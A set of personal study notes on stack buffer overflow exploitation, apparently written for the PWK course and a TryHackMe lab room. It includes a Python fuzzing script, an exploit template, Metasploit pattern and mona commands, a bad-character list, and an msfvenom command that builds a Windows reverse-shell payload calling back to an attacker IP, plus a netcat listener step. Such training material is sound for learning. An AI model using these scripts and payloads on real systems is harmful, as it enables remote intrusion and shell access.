Buffer overflows

These instructions are a combination of my notes from the PWK course material and notes taken while executing Tib3rius's "Buffer Overflow Prep" room on THM. There are multiple techniques for executing buffer overflows, but all follow the same basic outline. Find what works for you.

General information

Almost all buffer overflow exploits follow a common general flow.

  • Create a large buffer to trigger the memory overflow

  • Control EIP by overwriting a return address on the stack by padding a large buffer with an appropriate offset

  • Include a chosen payload in the buffer prepended by a NOP sled

  • Choose a correct return address instruction such as JMP ESP in order to redirect the execution flow into the chosen payload

Important memory locations

  • EAX, EBX, EDX, ESI and EDI are often used as general purpose registers for temporary data storage

    • EAX (accumulator) - arithmetic and logical functions

    • EBX (base) - base pointer for memory addresses

    • ECX (counter) - loop, shift, and rotation counter

    • EDX (data) - I/O port addressing, multiplication and division

    • ESI (source index) - pointer addressing of data and source in string copy operations

    • EDI (destination index) - pointer addressing of data and destination in string copy operations

  • ESP is the stack pointer and keeps track of the most recently referenced location by storing a pointer

  • EBP is the base pointer and stores a pointer on top of the stack when a function is called

  • EIP is the instruction pointer and always points to the next code instruction to be executed

EIP is the primary target during a buffer overflow because it control program flow!

Setup

Immunity Debugger:

  1. Start the application first, then open Immunity Debugger and use File --> Attach to view the applicable process -OR-

  2. Open Immunity Debugger and use File-> Open to start the application

  3. Select the "red arrow" to run the application

Basic commands

  • F2 - set breakpoint

  • F7 - Step into a function

  • F8 - Step over a function

  • F9 - Run

Mona.py

  1. Set up your working folder with the following command:

!mona config -set workingfolder c:\mona\%p

Mona is available at: https://github.com/corelan/mona

Fuzzing

The following script will fuzz a program by sending a string of characters that increases by 100 bytes with each iteration. To use, update the IP address, port, and string (line 20) to match the program you are testing.

import socket, time, sys

ip = "10.0.0.1" #change
port = 21 #change
timeout = 5

# Create an array of increasing length buffer strings.
buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        s.send("USER username\r\n") #update
        s.recv(1024)

        print("Fuzzing PASS with %s bytes" % len(string))
        s.send("PASS " + string + "\r\n")
        s.recv(1024)
        s.send("QUIT\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

Replicate the crash

Build a script to replicate the error caused by the fuzzing script.

import socket

ip = "10.0.0.1" #update
port = 21 #update

prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

Locate EIP

Generate a string of characters 400 bytes longer than the length that caused the program to crash while fuzzing.

msf-pattern_create -l 2700
  • Insert the generated pattern into the "payload" variable of your script

  • Restart Immunity Debugger and the program you are testing

  • Run the exploit script

  • Note the characters that overwrite EIP

  • Use pattern_offset.rb to locate the position of the characters in the string

msf-pattern_offset -q 39694438
  • Add the value from pattern offset to the "offset" variable in the script

  • Set the script's "retn" variable to "BBBB"

  • Restart Immunity Debugger and the program you are testing

  • Run the exploit script

  • EIP should be cleanly overwritten with Bs (42424242)

Check for bad characters

  1. Insert the bad character buffer into the scripts "payload" variable

  2. Restart Immunity Debugger and the program you are testing

  3. Run the exploit script

  4. After the program crashes, right click on "ESP" and "Follow Dump"

  5. Remove characters that cause errors in memory (non-sequential)

  6. Repeat steps 2-5 until there are no errors remaining in ESP

\x00 was already removed from this buffer.

# Bad Characters

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

Redirect execution

Next, we want to find a reliable location in memory that contains an JMP ESP (or similar) instruction. This will enable us to redirect the program to our payload at the time of the crash.

  1. Use the mona jmp command to search for jmp (or equivalent). By default, jmp ignores modules with DEP or ASLR.

  2. Select from the list of options and note the memory location

  3. Reverse the location (little endian) and insert the value in the script's "retn" variable (625011af become /xaf/x11/x50/x62)

!mona jmp -r esp -cpb "\x00\x0a\x0d"  # update bad characters

# mona find can also be used here, but jmp normall works
!mona find -s 'jmp esp' -type instr -cm aslr=false,rebase=false,nx=false -cpb "\x00\x0a\x0d"

Generate payload

Next, we generate our reverse shell payload and add it to the exploit. We'll also pad the beginning our the payload with a minimum of 16 NOPs (x90) to provide space in memory for decoding the payload.

Generate shellcode with Metasploit

msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f py

Pad with NOPs

Add the following to the script's "padding" variable.

"\x90" * 16 

Launch exploit

  • Setup a netcat listener on the attacking machine using the same port identified during the generation of the payload

  • Launch the exploit

Last updated